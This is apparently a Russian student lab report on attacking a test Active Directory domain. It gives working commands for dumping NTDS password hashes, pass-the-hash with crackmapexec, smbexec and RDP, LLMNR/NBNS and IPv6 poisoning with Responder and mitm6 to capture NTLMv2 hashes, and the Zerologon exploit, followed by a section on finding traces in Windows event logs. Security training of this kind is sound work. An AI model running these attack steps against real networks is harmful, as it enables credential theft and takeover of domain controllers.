# Win. Практическая работа 6.1
1. Провести анализ базы NTDS
Создаем дамп базы даных NTDS и двух веток реестра

Проверяем на диске

Передадим эти файлы для анализа на Кали используя smbclient

А для анализа будем использовать impacket.
После установки impacket перейдем в папку examples и запустим скрипт secretsdump.py выполнив следующую команду:
```
python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL
```
Анализируем \*.dit файл. В результате работы скрипта мы должны получить хеши паролей пользователей. Их насыпало много...

Формат предоставленных данных указан в строке `Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)`. Здесь нас интересует nthash.
**2. Выполнить атаку “Path-the-hash”**
Атаку начинаем с базового исследования структуры с помощью crackmapexec.
Выполним `crackmapexec 192.168.10.0/24`
В результате получили достаточно информации для осуществления нашей атаки - ip ресурсов и их имена, установленные системы. Хеши у нас уже есть.

Далее пробуем тестовый запрос с какой-нибудь простой командой
`crackmapexec smb 192.168.10.200 -u AdmPetr -H 5df2fd1109e3d3b60f110965f6af128 -x whoami`

Получилось.
Есть также команда позволяющая увидеть, к каким сетевым папкам имеет доступ пользователь.
`crackmapexec smb 192.168.10.200 -u AdmPetr -H 5df2fd1109e3d3b60f110965f6af128 --shares`
И даже сделать полноценный реверс-шелл. Правда, с помощью другой утилиты.
`python3 smbexec.py PT/ADMPetr@192.168.10.200 -hashes ad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128`

А теперь давайте на рабочий стол зайдем. По RDP.
Но для начала, нужно проверить что доступ по RDP включен для админов (в панели управления/ Система и безопасность).
А также изменим реестр командой в PoSH:
```
New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force
```
А поскольку у нас включена политика аудита PoSH. Мы можем обнаружить выполнение этой команды в журнале:

Пробуем соединиться по RDP. Вводим команду:
`xfreerdp /d:pt.local /u:Administrator /v:192.168.10.200 /pth:43db659d9deecd24aeb8391d5782a8bf`
Получилось!

3. Реализовать атаки на базовые протоколы Windows
Для прослушки будем использовать responder.
Сначал проведем аудит инфрастурктуры командой `responder -I eth0 -A`
Далее, на win10 попробуем зайти на несуществующий сетевой ресурс.
Респондер увидит запросы по LLNMR, NBNS

Теперь попробуем атаковать. Перезапустим респондер с командой `responder -I eth0 -wFv`
Повторно введем несуществующее сетевое имя. Компьютер запросил креды. Это значит, что Респондер отреагировал на наш запрос:

И когда мы ввели пароль, Респондер перехватил его хеш.

Этот хеш можно брутфорсить.
Выполним атаку используя mitm6, который съимитирует нам dhcp v6, а шестая версия этого протокола приоритетнее четверой.
Введем команду `mitm6 -d pt.local`

Как видим, настройка адаптера на Win10 поменялась.
Было:

Стало:

Теперь, создадим свой сервера SMB не отключая mitm6.
Для этого используем impacket -> smbserver.py
Введем команду `python3 smbserver.py -smb2support SMB /root/SMB`
а на win10 попробуем зайти на наш домен.

В это время, smbserver принял аутентификационные данные с win10

С этими данными протокола NTLMv2 уже можно работать, обрабатывая их с помощью hashcat или John the ripper.
## Практическая работа 6.2
1. Провести эксплуатацию уязвимостей контроллера домена
**Предварительно:**
Нужно включить политику аудита машинных учетных записей. Она находится по пути:
Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant
Теперь приступим к атаке.
Скачаем подходящий эксплойт для проведения zerologon.
`git clone https://github.com/risksense/zerologon`
Запустим, и увидим, что произошло обнуление пароля машинной УЗ на DC1.

Значит теперь мы можем сдампить NTDS с помощью secretsdump.
Используем команду: `python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`

С помщью этих хешей можно выполнять любые команды, которые уже описаны в п.2 практики 6.1.
2. Найти следы эксплуатации уязвимостей
События ищем с помощью Event Viwer, а также можно с помощью команд в cmd.
В журнале System, находим ошибку Netlogon.

В журнале Security, найдем событие 4742.

ANONYMOUS LOGON - это вообще непонятно кто авторизовывался. Надо разбираться.
Еще один признак - изменен пароль (поле password last set).
> При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823
>
Проверим это. Найдём событие 5823 в журнале System.

По времени эти два события не связаны. Произошли с разрывом в несколько дней. Причем, сначала произошло 5823, потом - 4742.
Но если поискать события 4742, связанные по дате с 5823, то мы их найдем, и это будут легитимные события.
Для поиска с помощью Power shell можно использовать, например, следующие команды:
```
Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4742}
Get-WinEvent –FilterHashTable @{LogName=’System’;ID=5805}
```
Чтобы найти дамп NTDS, нужно искать данные выгрузки в журнале Directory Service: